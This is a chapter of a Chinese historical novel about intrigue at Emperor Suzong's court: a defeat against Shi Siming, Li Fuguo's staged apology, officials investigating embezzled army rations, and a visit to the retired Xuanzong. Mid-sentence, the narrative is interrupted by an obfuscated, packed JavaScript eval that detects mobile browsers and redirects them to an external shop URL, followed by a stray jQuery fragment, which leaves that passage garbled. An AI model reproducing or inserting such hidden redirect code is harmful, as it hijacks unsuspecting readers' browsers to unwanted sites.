第二章内忧外患
一行人离开寒月宫朝含元殿走去。进得殿内,只见文武百官均已到齐了,分列在左右两边,张万吉回到文部官员行列,肃宗走上大殿,在正中龙椅上坐下,群臣齐齐跪倒,都道:“臣等叩见皇上,愿吾皇万岁万岁,万岁。”肃宗挥挥手道:“众卿平身。”群臣同道:“谢皇上。”这才站起身来。
肃宗道:“张万吉,你先将军情与众卿家说说。”张万吉应了一声,当下简要将事情经过给众人说了一遍。众臣听完皆是一惊,左右互问,悄悄议论。肃宗道:“不各知众位爱卿有何看法?”
群臣你瞧我,我瞧你,均无人敢言,都想:“此事非同小可,要是不小心说错了话,不对皇上的心意,那可就糟糕了,说不定皇上一发火,那就要倒大霉了。”
过了一会,肃宗见无人出来说话,不由怒道:“你们都哑巴了,平日里不都是很能说吗,今天怎么了,都不吭声了?”群臣见肃宗发火,这一来,更无人敢头说话了。肃宗叹了一声,扫视群臣一遍,心道:“难道满朝文武没有一个能为朕出个主意?”心中不禁想起半年前出京巡边的大将郭子仪和辞官归隐故里的李光弼来。
半年前,肃宗经不起李辅国等人的极力劝导,下旨调集大军,筹集粮草,准备征讨史思明部叛军,郭子仪、李光弼等人上书力劝肃宗三思而后行,反对现在大兴兵马,认为应从长计议,待时机成熟了再出兵。李光弼更是上书言道,若稍有不慎,轻则损兵折将,丢城失地,重则有亡国之难。
但肃宗好大喜功,让李辅国等人一翻吹捧,顿时昏了头一意孤行,下旨调集了数十万大军和大批的粮草,结果弄的民声哀怨,差点没酿成民变。郭子仪一气之下上书要求离京巡守边疆,李光弼则辞官回乡归隐,肃宗正嫌两人太烦呢,立即下旨准奏。此次前线大败,肃宗这才有些后悔没早听二人之言。
正思忖间,右边武官行列中走出一名将军,躬身施礼,说道:“皇上,依微臣之见,现在当务之急是要尽快想出对策,阻止叛军继续进攻,确保东都洛阳之稳固,不然若洛阳一失,则长安危矣,那后果可就不堪设想了。”
肃宗寻声一瞧,见是左龙武大将军陈玄礼,连连点头道:“陈将军说的不错,俗语说兵败如山倒,眼下形势如此危急,但又有谁能力挽狂澜,稳住局势呢?”陈玄礼正要回答,殿外匆匆走进一名太监,道:“启奏皇上,御史中丞李辅国求见。”
肃宗道:“李卿家不是有病在身吗,怎么又过来了,快传快传。”肃宗本就有些心烦意乱,现在听到李辅国来到,不由的心中一松那太监应了一声,走回殿门口高声道:“皇上有旨,传御史中丞李辅国进见。”群臣均扭头望去都不由一愣,只见李辅国双手反绑在身后,奔进殿来,扑嗵一声,跪倒在地,叩首道:“罪臣李辅国叩见皇上,吾皇万岁,万岁,万万岁。”
肃宗也是十分奇怪,问道:“李爱卿,你这是怎么回事,是谁这么大的胆子,敢把你绑了?”李辅国道:“没有人绑住微臣,是微臣自己绑的。”肃宗奇道:“你这是为何啊?”李辅国道:“微臣有罪,特来向皇上请罪。”肃宗奇道:“好端端的,你哪来的罪啊?来人,快给李爱卿松绑。”
李辅国忙道:“皇上且慢,请听微臣将话说完。”肃宗点点头,道:“爱卿有话尽管说吧。”李辅国叩头谢恩,说道:“皇上,前方的战的事,微臣已经听说了,此次战败,微臣有不可推卸的责任,此次征剿统帅鱼朝恩乃是由微臣向皇上推荐的,微臣认人不清,识人不明,没能办好给皇上办好这件事,实是有失职之罪,又皆因此,以至我军大败,丢城失地,微臣实罪该万死,请皇上降罪微臣。”
李辅国把刚话完,满朝文武皆不由的一愣,均想这不像是李辅国平日的做行啊,要知平时李辅国倚仗从龙之功,又有大权在握,除了一些勋贵老臣之外,其余人等皆不放在眼中,今日之举,恐另又有深意。
肃宗尚未说话,文官行列中便走出一人,道:“皇上,此事须也怪不得李大人。”肃宗一瞧,说话之人乃是中书令杜严。就听杜严说道:“这胜败乃是兵家常事,战场之上的事,瞬息万变,也很难去预料,鱼朝恩虽是李大人推荐的,但李大人也是一翻好意啊,也是想为皇上分忧啊。”
杜严身后的吏部左侍郎吴荣也上前奏道:“皇上,杜大人所言甚是,李大人对朝庭是一片赤胆忠心,整日里内外操劳,这俗语有云,人非圣贤,塾能无过呢?更何况大军之败与李大人也无任何的关系,李大人也是一心为皇上分优啊。”
其余许多大臣也纷纷上前进言为李辅国开脱。陈玄礼不由的心下暗怒:“这群人本事没有多少,平日不思治国为民,就只会吹拍李辅国的马屁,好顺竿往上爬,升官发财,真是一群小人。”
他刚想上前奏禀,却见右列武官中又走出一个,乃是车骑将军赵远,他上前奏道:“皇上,微臣先前曾接到过一些传报,说军中有人克扣兵士粮饷,使许多兵士吃不饱,穿不暖,此次大军兵败,定与此有关,皇上可以想想我军有六十万,叛军只有十几万,便是一对一的硬拼,也不致于落败,但兵士若是吃不饱,穿不暖,又哪来的力气去和叛军作战呢?”
肃宗大惊,问道:“竟有此等事情?赵爱卿你怎么不早些说?”赵远道:“皇上恕罪,只因微臣没有确实的证据,所以也不敢妄下结论。”肃宗向户部尚书郎程立全,怒道:“程爱卿,这是怎么会事?大军粮饷不是一直由你们户部来管理的吗?”
程立全急忙道:“启奏皇上,大军所用的粮饷,确是由户部征缴统一管理的,自大军出征,均一直以来都是按时运往前方的,所有进出均有帐目可查,哪里来的有克扣粮饷军饷一说。”他转身向赵远,怒道:“程将军,你适才所言,是不是说我户部有意弄虚作假、隐瞒真像,欺骗皇上不成?”
赵远冷声哼道:“程大人,照你说来我刚才那岂不是颠倒黑白,挑拔是非了?”程立全道:“赵将军,是非公断自有皇上决断,你又何必咄咄逼人呢?”赵远大怒,但一想到皇上还在上面坐着,又不敢现在与程立全翻脸,狠狠瞪了程立全一眼,拂袖回到武官行列。
一直站在旁边未说话的陈玄礼突然道:“皇上,赵将军所言,倒也并不是虚言,据微臣所知,军中克扣粮饷之事确实存在,只是并不是户部所为,是另有其人。”
一边的杜严哼道:“陈将军,若无真凭实据,还是不要信口开河的好。”陈玄礼望了他一眼,道:“杜大人怎知下官是信口开河呢,莫非杜大人与此事也有牵连。”杜严心中一急,怒道:“ 胡说八道,老夫行的正走的直,怕什么牵连不牵连的。”
转身向肃宗躬身道:“皇上,老臣一直忠心为国,天日可鉴,克扣粮饷之事还皇上明察。”肃宗摆摆手道:“好了、好了,两位都不再争了。”陈玄礼与杜严齐应了一声是,各自退回原来的位置。
肃宗叹了口气,道:“今日是让大家一齐来想个应付眼前时局的办法,不是来争谁是谁非的,那些事以后再说。”又向跪在地上的李辅国道:“李爱卿也请起吧,鱼朝恩虽是你推荐的,但你也是一爱国之心,想为朝庭分忧,以期能早日平定叛军,此次鱼朝恩虽然战败,然罪南并也不在你,你也起来吧,朕恕你无罪,来人,快给李爱卿松绑。”
李辅国伏地大声道:“谢皇上恩典。”边说边痛哭流涕起来,两名太监走上前,将他身上绳索解去,李辅国又叩了三个头,然后回到文官行列中。陈玄礼素知李辅国德行,心中愤愤冷哼:“这负荆请罪的把戏演得真是好。”但眼下朝中大半人均为李辅国开脱,他一人也孤掌难鸣,只能先退回武将列中。
肃宗又道:“好了,众位爱卿不要吵了,其他的事先放到一边,先不忙说,眼下当务之急是要怎么应付眼下的局面,能尽快挽回败局。”赵远上前道:“皇上,依臣之见,应尽快再抽调派兵马前往洛阳驰援,会同鱼朝恩余部,先稳住阵脚,阻挡叛军南下,徐徐再作他图。”肃宗皱了皱眉头,道:“赵爱卿是言之有理。”望向张万吉、程立会二人,道:“张爱卿、程爱卿。”
二人忙应声上前,躬身道:“微臣在,皇上有何吩咐?”肃宗道:“张爱卿,你回兵部后马上发文,将所有可调之兵,尽数调集,再张榜告示天下,凡十八岁以上,五十岁以下者,皆有为国效力之义务,再速派人到各地州县,征招新兵。”
张万吉张口结舌,道:“皇上,这……这恐怕很难。”肃宗一怔道:“怎么了,有什么困难吗?”张万吉道:“回禀皇上,上一次大军东征,兵部已将所有可调之兵大部尽数调集,眼下……眼下,再要兵部派兵,那可就太难了,不瞒皇上说,除了拱卫皇城禁卫军兵马外,兵部可调之兵寥寥,现在差不多是个空壳子了。”
程立全也道:“是啊,皇上,上次大军东征所需粮饷巨大,费了九牛二虎之力,才将其凑齐,眼下国库中也是空空如也,时下民间也是十分困难,许多人都是靠吃野菜,吃树根树皮过活,再若征粮征饷,只怕会……会……”
他本想说只怕会激起民变,但又怕肃宗听后大怒,那自己可就要糟糕了,是以话到嘴边又咽了回去。肃宗心中也是略知一些,闻言长叹一声,靠在龙椅上,脸色极是难看。
杜严上前道:“程大人,你这话有点太过头了吧,眼下除了史思明这叛军外,我朝四海升平 ,百姓安居乐业,这几年又是连年丰收,粮食充足,民间怎么会有人吃树皮树根呢?”
程立全斜睨他一眼,拱手道:“敢问中书令大人,您可到下面的州县去过?”杜严被他问的一愣,道:“这个……倒没有,但那又如何?”程立全道;“若中书令大人能到下面走一趟,相信就不会再有刚才那种话了。”杜严自知刚才的话站不住脚,知趣的退了下去。
肃宗叹道:“眼下即无兵可派,又无粮饷供应,这可该如何是好?”陈玄礼又越众而出,道:“皇上,微臣倒有个想法。”肃宗道:“哦,不妨说来听听。”陈玄礼道:“此次战败,与主帅鱼朝恩指挥失误有极大关系,微臣以为应另换主将,重整军马,以利再战。”
吏部左侍郎吴荣连忙上前,道:“陈将军此言差矣,三军之败怎可将所有责任都加到鱼朝恩一个人头上呢?这样做岂不有失公允?”陈玄礼道:“在下可是听前方传言,鱼朝恩不听下属劝谏,一意孤行,求胜心切,孤军冒进,以至于中了叛军的埋伏,这才大败的,倘若再由他领军,只怕连剩下的兵马也会被他断送掉了。”
吴荣登时语塞,说不出话来,道:“这……这……那些都是传言,又没什么真凭实据,怎可能够相信?”陈玄礼道:“那吴大人可敢为鱼朝恩担保?”吴荣道:“那陈将军可敢为你刚所说的话负责、”陈玄礼道:“我当然敢了,正所谓空穴不来风,没有的事总不能凭空捏造吧!”
肃宗心中不快,说道:“好了,大家都不要再争了,算了,今日就到此为止吧,众们卿家回去后多多动动脑子,想想主意,明日早朝再议吧。”说罢起身拂袖离座,往后殿而去。一太监高声道:“退朝。”群臣齐跪下地,道:“臣等恭送皇上。”待肃宗离开大殿后,众大臣才起身依次退出大殿。
肃宗满肚子的不高兴的回到寒月宫,玉贵妃迎了上前去,见肃宗脸色不对,关切道:“皇上,您这是怎么了,是不是朝上又遇到什么不顺心的事了?”肃宗叹道:“朕原还指着早朝上众臣能给朕出个主意,想想办法,谁想到他们尽只争论谁是谁非,把朕的头都吵大了,唉!”玉贵妃坐到肃宗怀里,娇声道:“皇上别生气了嘛,让臣妾给您弹上一曲好吗?”肃宗笑道:“好啊 ,朕就爱听你调的曲子。”
玉贵妃起身从一边取来一张瑶琴,放到一张案几上,轻轻拔弄了几下琴弦,试了试琴音,正要弹奏,门外走进一名太监,躬身道:“启禀皇上,左龙武大将军陈玄礼在殿外求见。”肃宗眉头一皱,道:“他来干什么?”玉贵妃道:“皇上,这陈玄礼是谁啊?”肃宗笑道:“爱妃你怎么忘了,去年秋末朕带你去秦岭狩猎时,那率军护驾的那个将军。”
玉贵妃笑着道:“哦,臣妾记起来了,就是那个花胡子老头是不是,他还赤手空拳打死了一只豹子,对吧?”肃宗笑道:“就是他,你倒记的很清楚啊。”玉贵妃道:“臣妾还记的皇上当时还赏赐了他一把短剑,对吧?”肃宗呵呵笑道:“不错,你的记性真好。”顿了一顿,说道:“他现在要见朕,却不知又说什么事,多半又是为朝上的事。”转身向那太监道:“传陈玄礼来吧。”那太监应声而下。玉贵妃叹了口气,说道:“好好的,又让这花胡子老头给搅了。”肃宗笑道:“待他走了,你再弹朕听也不为迟啊。”
正说间,门口太监奏道:“启禀皇上,陈玄礼已到。”陈玄礼走进门,跪地叩头,说道:“臣陈玄礼叩见皇上,叩见贵妃娘娘。”肃宗道:“起来吧。”陈玄礼谢过恩,站起身道:“皇上,臣有事要奏。”肃宗道:“爱卿此番前来,怕又是因为早朝的事吧?”陈玄礼答道:“正是。”肃宗道:“那爱卿想到什么好的退敌之策了吗?”
陈玄礼道:“当下之时军心不稳,急需要能统兵的大将前往洛阳镇守,微臣想到了两个人,如果皇上重新启用他们,微臣想要想扭转败局,当无多大的困难。”肃宗道:“哦,是哪两个人?”陈玄礼道:“是郭子仪和李光弼两位将军。”
肃宗脸色微微一变,没有说话。其时刚才在早朝之时他已经想到此二人,但又想到此前二人极力反对出兵,弄的他甚是恼怒,眼下时局紧要,想要召他二人回朝,却又一进拉不下这个脸来。
陈玄礼看到肃宗脸色变幻不定,又道:“皇上,眼上时局危急,军情紧急,而朝中众位大臣又意见不一,再拖下来与国与民都是不利,郭子仪与李光弼两位将军都曾领国征讨过叛军,经验丰富,又极得将士爱戴,由他二人其中任何一人出征,微臣相信定可以扭转眼下不利的局面,还请皇上三思。”
肃宗心中也有认同感,但毕尽是他下旨让郭子仪出巡边疆,又准了李光弼回乡归隐的,现在若下旨再召他二人回朝,这脸面上多少有点挂不住,等于是他向二人认错,当下说道:“难道朝中除了他二人外,就再也没有其他人可以领军出征了吗?”
陈玄礼见肃宗有不悦之色,心中肃宗心中症结,却不敢再多提,说道:“微臣是从本朝大局着想,还请皇上三思。”肃宗摆摆手道:“好了,朕会好好考虑的,陈爱卿你先下吧。”陈玄礼无奈,只得谢恩退了出去,刚走出宫门,便闻到一阵悠扬的琴声从宫内飘了出来,不禁回头向内望了两眼,心中不由的暗暗感叹。
忽听背后有人道:“陈将军你怎么在这里啊?”陈玄礼回身一看,见是李辅国背手缓缓而来,陈玄礼打心眼里就瞧不起李辅国,心想:“不就是靠拍皇上马屁,才爬到这么高的位子,哼!小人得势。”当下淡淡说道:“在下去见皇上,怎么李大人也要去见皇上吗?”
李辅国皮笑肉不笑的道:“也不全是,只是去看看,瞧皇上有没有什么吩咐。”陈玄礼道:“那好陈某就不打扰李大人了,告辞。”说罢,拱了拱手,告辞而去。李辅国望着陈玄礼远去的背影,嘴角不住的冷笑,眼中尽是阴狠毒之色。
陈玄礼出了玄武门,却见监察御史苏天放还在门外没走,便走上前道:“苏大人怎么还没走啊?”苏天放道:“还不是等你老兄吗。”陈玄礼奇道:“等我,有事吗?”苏天放叹了口气道:“现在碰到一件棘手的事情,现在一时也拿不定主意,想请你老兄帮忙参悟一下。”陈玄礼与苏天放乃是世家故交,二人又同朝为官,是以私交甚笃。
陈玄礼见苏天放很是谨慎的样子,笑道:“什么事啊,很重要吗?”苏天放看了看四周,道:“这不是说话之地,咱们另换一个地方吧。”陈玄礼道:“那好,走到我家去,那可是很安静的,不会有人会打扰我们。”苏天放笑道:“好久末打扰贵府了,正好去叨扰叨扰。”两人哈哈一笑,各自上马并骑而行。
陈府位于朱雀大街的南面,靠近安化门,是一座很普通的院宅,房舍都已十分陈旧,有些年头了。陈玄礼与苏天放来到大门,下的马来,陈府的老管家陈忠迎上前来,道:“老爷,您回来了。”又向苏天放道:“哟!是苏大人啊,您可好久没来了,真是贵客啊 ,请请。”苏天放笑道“我哪是什么贵客啊,顶多算个贫客,你看上贵府来,什么东西也没带。”陈玄礼笑道:“苏兄太客气了,走屋里坐去。”
两人相偕入内,陈忠将马牵到后院。陈玄礼与苏天放进的大门,过了前堂,就听到一阵兵器破空的呼呼之声,但见后堂前的一块空地上,一名十一二岁左右的男孩正在舞剑,忽而斜刺,忽而横削,手眼身法,无一不恰到好处,虽然劲力不足,但招式已经十分的纯熟。苏天放笑道:“这是令郎吧,好久不见,几乎都快认不出来了。”陈玄礼道:“是啊,小孩子长的就是快。”向那男孩招招手道:“剑飞,快来见过你苏伯伯。”那男孩应了一声,收剑走来,躬身向苏天放道:“小侄剑飞见过苏伯伯。”
这男孩名叫陈剑飞,是陈玄礼的独生子,陈玄礼虽是中年得子,但对他仍是严加教导,从不娇惯。苏天放向陈玄礼道:“陈兄,果然是将门出虎子啊,令郎年纪这般小,剑法就已颇有火候,不像我那个儿了,都十多岁了,整日里东游西逛的,书没念好,武功也是练的不成样子,陈兄令郎只要再过几年,便可入考武状元了,到时定会夺得榜首,成为国家栋梁之才。”
陈玄礼笑道:“还早着呢,苏兄可别太夸他了。”又向陈剑飞道:“今天的剑法练的怎么样了?”陈剑飞道:“爹爹,孩儿已经三十六路回风剑法练完了,已可运用自如了。”
陈玄礼笑道:“运用自如?你要达到这个程度,那还差的远呢,要知道当年你爹我十岁起练,苦练了三年也才略有小成。”陈剑飞问道:“爹爹,那孩儿还要地练多长时间,才能达到运用自如的程度?”陈玄礼道:“还早着呢,你先将根基打好再说吧。”陈剑飞似懂非懂的点点头,向二人施礼后,回到前院中继续练习。
陈玄礼的夫人冯氏从内厅中走出,见到苏天放,笑道:“是苏大人啊,您可是稀客。”苏天放起身行了一礼,笑道:“见过嫂夫人。”陈玄礼道:“夫人,我与苏大人有些事情要谈,你吩咐下去,让谁也别过来打扰。”冯氏应了一声,道:”你们先谈着,我去泡茶。“苏天放道:“有劳嫂夫人了。”
两人进了内厅,来到陈玄礼的书房,分开就坐,冯氏端上茶水后,反关上房门下去了。陈玄礼道:“苏兄有什么事就尽管说吧。”苏天放呷了口茶,说道:“陈兄,还记的上次我与你私下提到的这平叛大军中有人克扣粮饷的事情吗?”陈玄礼道:“当然记得,怎么事情有进展了?”苏天放道:“有进展倒是有些进展,只不过事情有些棘手了,而且没我们想像的那么简单,这背后一定有很多不为人所知的秘密,而且你今日在朝堂上提及此事,我只怕对方已经有所警觉。”陈玄礼道:“苏兄所言甚是,为兄今日也是一时气急失言。”苏天放道:“陈兄不必自责,其实便是你今日不提,他们应也很快就会发觉,对了,你可知此次给鱼朝恩部押运粮饷的官员是谁?”陈玄礼想想道:“好像是渭州刺史崔进吧。”苏天放道:“那陈兄可知崔进与鱼朝恩的关系?”陈玄礼摇摇头道:“这个就不得而知了。”
苏天放端起杯子喝了一口茶,续道:“这崔进的姐姐乃是鱼朝恩的二房夫人,极受鱼朝恩的庞爱,因此算来,崔进就是鱼朝恩的小舅子。”陈玄礼皱眉道:“莫非这是崔进从中捣的鬼,克扣了大军的粮饷。”天放摇头道:“单凭他崔进自己,相信还没有那么大的胆子。”陈玄礼道:“那要不然就是有人在他背后撑腰。”忽然一惊,说道:“莫不就是鱼朝恩自己所为?”
苏天放点点头道:“一点也不错,从一开始我就怀疑这是鱼朝恩监守自盗,所以我派人混入军中,一直都在暗中监视,偶然间发现了有一名军中的帐房与鱼朝恩联系极为紧密,经常秘密出营办事,便一路暗中尾随发现了他的落脚之地,待他离开之后,便秘查了一翻,无意之中触动了屋内机关,并在机关密室内发现了大量与各地商贾往来的帐岫,上面详细记录了各种款项的往来,其中有一部分便涉及军中,就是崔进克扣的军饷和变卖军中粮草所得。”边说边从怀中取出一本小册子来,道:“我的手下怕带走帐册惊动了对方,是以只能将一部分内容抄录下来。”伸手入怀,掏出一本册子递于陈玄礼.
陈玄礼接过,翻了几面页越看越怒,一拍桌子,站起身怒道:“这两人好大的胆了,竟敢将平叛大军的粮饷也敢克扣,自己从中中饱私囊,致前线将士食不果腹,甲不蔽体,以致于几十万大军惨败,苏兄今日早朝之时你为什么不将这本册子拿出来奏于皇上?”
苏天放重重叹了口气,道:“陈兄你这就有所不知了,单凭此册倒也可以将鱼朝恩崔进两人治罪,但这中间夹有一个人,事情就不太好办了。”陈玄礼道:“夹有一个人,是什么人?”苏天放道:“就是李辅国了。”
陈玄礼哼了一声,道:“又是他,这于他又有什么关系呢?”苏天放道:“李辅国认的干女儿嫁给了鱼朝恩的二儿子,这一来他们岂不成了干亲家,此次是鱼朝恩能挂帅出征,也是由李辅国极力向皇上推荐的,结果却出了这档子的事,让大军吃了败仗。”陈玄礼哼道:“李辅国好高的计谋,他得知大军失利的消息后,便称病不出,然后再演出一出负荆请罪的把戏,博得皇上的好感,免了他的荐人不当之罪。”
苏天放点点头,道:“李辅国非比常人,他跟随皇上多年,深知皇上脾气,又有从龙之功,极得皇上信任,再加上满朝文武大臣中,又有众多的同党,若无法拿出让皇上完全采信的证据,这帐册便是拿了出去也,恐怕也会无继于事,李辅国定然一口咬定这是有人栽赃陷害,所以在早朝上我才没将帐册拿出来,现在只能是暗中搜集等到证据充足后,才可奏禀皇上,倘若过早的打草惊蛇,势必会引起李辅国的警觉,提先做好准备,说不定还会反咬你我一口,到时那就麻烦了,李辅国权大势大,就凭你我眼下的力量是不行的,须得小心谨慎行事才行。”
陈玄礼道:”苏兄所言极是,李辅国眼上正得皇势,又党羽众多,硬来是不行的,咱们得从长计议。”两人又叙了一会话,苏天放起身告辞,陈玄礼直送到大门外。
苏天放走远后,陈玄礼回到房内闷闷不乐,冯氏走进门内,瞧他神色有异,问道:“老爷,你好像有心事啊?”陈玄礼叹了口气,道:“眼下天下正处于危难之际,偏生朝中奸臣当道,宵小横行,怎能不叫人担心啊。”冯氏道:“老爷你也别想的太多了,朝中的事,回家以后就不要再多想了,反正朝中还有那么多的大臣,少你一个也不会误事。”
陈玄礼笑了一笑,道:“你们妇道人家懂得什么,正所谓食君之禄,担君之忧,为国分忧乃是我辈中人的本份。”冯氏笑道:“好好,我不说就是,反正我也不懂你们那些什么大道理。”陈玄礼忽又想起一件事来,道:“对了,我还有事要出去一趟,你叫陈忠把马备好。” 冯氏点点头,下去吩咐了。不大会陈忠来报马已备好。陈玄礼出门上马,向北飞弛而去。
不大会便来到玄武门外,那守门的将官迎上前道:“陈将军,您又要进宫啊?”陈玄礼道:“是啊,还有些事要办。”将马交于那将官,进了宫门,拐向东行,沿一条宫墙直往前走,穿过三重门户,又经一条长廊来到内宫的御花园,进了西侧的一道大门,陈玄礼走到门前,见并无人守护,不由心下微怒。
向里走了一段,就见一名太监斜倚在一根柱子上打盹。陈玄礼上前拍了拍太监的肩膀,那太监一惊,睁眼一瞧,认得陈玄礼,不由吓了一跳,连忙向他行礼,陈玄礼瞪目问道:“高总管呢?”那太监结结巴巴的道:“在……在……在湖边陪着太上皇钓鱼呢!”陈玄礼道:“ 烦劳公公通传一声,说下官有事求见。”
那太监连声应是,一路小跑而去,过了一会,一名中年太监匆匆而来,刚才那个太监跟在后面。陈玄礼迎上前道:“高总管。”这高总管就是当年红极一时的内侍总管高力士,眼下虽然也还位居总管之职,但早已无了当年的那种风光。高力士笑道:“陈将军你可是好久没来了,要见太上皇吧?”
陈玄礼点点头,道:“是啊,太上皇现在有空吗?”高力士道:“有啊,太上皇正在湖边钓鱼呢,陈将军请。”陈玄礼道了谢,随他向内院走,绕过了几排房屋,来到一个小湖边。
这说是湖,其实就是有人工挖成的一个大池塘,周长有一百多丈,湖内还用泥地石块堆了一个小岛,上建有一座凉亭,一座九孔曲桥与岸上相连。由于引进渭河之水流过,是以湖水清澈见底,条条游鱼,清楚可见。曲桥边正坐有一人坐在树荫下垂钓。
陈玄礼认得那正是太上皇李隆基,当年在位三十多年的唐玄宗。高力士领陈玄礼来到近前,但见玄宗左的握着一根鱼杆,右手拿着一只白玉手镯,呆呆的看着。
高力士跟随玄宗三十多年,一见那只白玉手镯,便知道玄宗在想些什么,那只白玉手镯原是贵妃杨玉环常戴的一件首钸,自杨玉环死后,这只白玉手镯便一直带在玄宗身边。
高力士向陈玄礼摇手示意,示意他暂时不要过去打扰。陈玄礼点了点头,两人站在不远去,均默不作声。
过了约小半个时辰,才见玄宗将白玉手镯收入怀中,高力士上前,轻声道:“太上皇,左龙武大将军陈玄礼已经来了多时了。”玄宗哦了一声,放下鱼杆回过身来,道:“是玄礼啊。”陈玄礼上前躬身行
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754109|209484||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
礼道:“陈玄礼见过太上皇。”玄宗道:“好了,不必多礼了。”陈玄礼离近些一瞧,就见玄宗比上次见到时又苍老了许多,发间又多了许多的白发,心中不禁升起一种悲凉之情,眼角也不由有些湿润。
玄宗倒没有在意到,说道:“走,到屋里坐坐。” 玄宗所住的地方叫祟胜宫,是皇城内一处颇偏的宫殿,在郭子仪率唐军打败安?山叛军收复长安之后,肃宗便还都回长安,玄宗也被肃宗派人迎回,之后便一直居于此间,说是让太上皇颐养天年,也可说是被软禁于此,除了一些前朝的宗室旧臣有时来看看他以外,其他人包括肃宗在内,都极少来这里。
进得殿内,高力士扶玄宗在软椅上躺下,然后下去端来茶水,玄宗见陈玄礼还站在一边,说道:“玄礼啊,在这里就不用那么拘礼了,力士去搬张椅子来。”高力士应了一声,从一边了木椅来,放到玄宗的身侧。陈玄礼谢了恩,这才坐下身来。
玄宗道:“玄礼啊,你好久末来了吧?今个就别走了,与朕好好下几盘棋。”陈玄礼道:“臣也是很想来,但这个把月来整日里为大军东征的事情忙碌,实在抽不出身来,还请太上皇恕罪。”玄宗道:“唉!什么罪不罪的,你能来这朕已经很高兴了。”边说边端直茶杯,喝了两口,又道;“对了,大军东征的战况如何?”
陈玄礼道:“臣就是为此事而来。”玄宗道:“是胜了,还是败了。”陈玄礼道:“难道太上皇在宫内没有听到消息吗?”玄宗叹了一声,苦笔道:“在我这里,除了力士能跟朕说上几句话,其他的几个人几乎跟哑巴差不多。”
陈率礼知道肃宗对玄宗,还是极不放心,唯恐玄宗会东山再起,所以祟胜宫的太监、宫女隔三岔五的便全都换了一遍,护卫的禁军更是肃宗心腹之人掌管,宫内暗控密布,监视着玄宗的一举一动。
陈玄礼道:“鱼朝恩所率大军,在与史思明一战中大败,损失惨重,丢了十余座城池。”玄宗只轻轻哦了一声,似乎并不感到多吃惊,说道:“那皇上现在有什么对策没有?”陈玄礼道:“皇上很是生气,今日早朝时,让众臣直紧商量个应对的办法来,但争论了大半天,也没想出什么办法来。”
玄宗坐起身子,道:“玄礼,那依你之见呢?”陈玄礼道:“依微臣之见,应当将鱼朝恩立即革职查办,另选武将前往指挥大军。”玄宗道:“有合适的人选吗?”陈玄礼道:“微臣曾向皇上提议让郭子仪将军或者李光弼将军领军挂帅,但皇上犹豫不定,还没拿定主意。”
玄宗叹道:“那也难怪,郭子仪、李光弼两人是由皇上下旨贬出京城的,再要他们回来,那就等于皇上自己认错了,这个脸面还是要的,所以才难下决断,叹!”陈玄礼道:“臣也正为此事着急,若此次再用人不当,定还会再吃败仗,那样一来,则朝庭危亦,此次微臣来,是想请太上皇出面,劝皇上快下决心,召回郭李两位将军,怎么说太上皇也是皇上的父亲,皇上应该会听从太上皇的意见。”
玄宗叹了口气,眼中泛出淡淡的哀伤,隔了片刻,才道:“要是这样就好了,可是儿大不由娘,如今的皇上已经不再是从前的李享了,朕这个爹,只怕早就忘到九霄云外了,朕的话他哪里还能听得进去。”
陈玄礼见玄宗悲观丧气,心中也是沉闷,一时之间也没话了。玄宗道:“力士,你把棋盘拿来,朕要和玄礼下上几盘。”高力士应了一声,将棋盘端来,玄宗与陈玄礼各执黑子白子摆开阵势,玄宗执黑子先落。陈玄礼执白子步步跟上。二人棋力相当,一时难分高低。
下到大半时,玄宗忽停住手,问道:“玄礼,今天是什么日子了?”陈玄礼屈指算了一算道:“今天是八月初七了。”玄宗叹道:“过的好快啊,一晃眼就快到中秋了。”将棋子丢回罐内,缓缓起身走到殿门外,看向天边已隐隐冒出月影,久久凝望天空,许久也没有言语。
与些同时,在宫内另一角的寒月宫中,则是另一副场景,但听宫内丝竹声声,鼓乐齐鸣,肃宗与玉贵妃相偎坐在正中,两边则坐着李辅国、杜严、吴荣等十几名朝中大臣。在厅正中,八名舞女正伴随着乐曲翩翩起舞,肃宗玉贵妃与群臣瞧得眉开眼笑,叫好不已。
一曲终了,众舞女上前向肃宗和玉贵妃行礼,肃宗道:“好好跳得好,来人给她们看赏。”旁边一名太监高声应是,自后殿端出一盘金银,交于为首的那名舞女,众舞女齐声谢主龙恩。肃宗哈哈大笑,挥手道:“下去吧。”坐在一边玉贵妃道:“皇上,这舞有什么好看的,您怎么赏她们这么多?”肃宗笑道:“啊 ,差点忘了,爱妃是跳舞的大行家。”李辅国站起身,道:“皇上,久闻贵妃娘娘舞艺超群,出神入化,当世无双,臣等虽在朝多年,却还从末见过贵妃娘娘的舞艺……”
肃宗正在高兴头上,听李辅国这一说,便道:“那好,今日就让玉妃给大家露一手瞧瞧。”玉贵妃道:“要臣妾跳也行,但臣妾有个条件。”肃宗道:“哦,有什么条件?”玉贵妃道:“刚才皇上赏她们那么多东西,臣妾也要讨一个赏。”肃宗笑道:“你寒月宫中可不缺那金银珠宝啊,你想讨个什么赏?”玉贵妃道:“臣妾还没有想到,等会臣妾想到了,再于皇上说吧。”肃宗道:“好,不过朕也有一小小的条件?”玉贵妃道;“皇上有什么条件啊?”肃宗道:“你这次跳的必须让朕心服口服才行。”玉贵妃嫣然一笑,道:“这有何难。”
玉贵妃从肃宗怀中站起来,脱去身上的外衫,挽上舞纱,走到厅中,两边乐声奏起,玉贵妃随乐而起,轻纱飘起,如云如雾,舞姿优美,似凌波仙子又似月中嫦娥。肃宗与众臣直瞧的目不转睛,目眩神弛。
一曲终了,众臣齐声叫好,都道:“娘娘舞艺果然是天下无双。”玉贵妃回到肃宗身边,娇声道:“皇上,你说臣妾跳得如何?”肃宗尚未回答,李辅国道:“娘娘跳的实在是太好了,微臣这还是第一次看到如此美妙的舞艺,今日也是托皇上洪福,才能看到娘娘绝世的舞艺,真是不枉此生啊!”
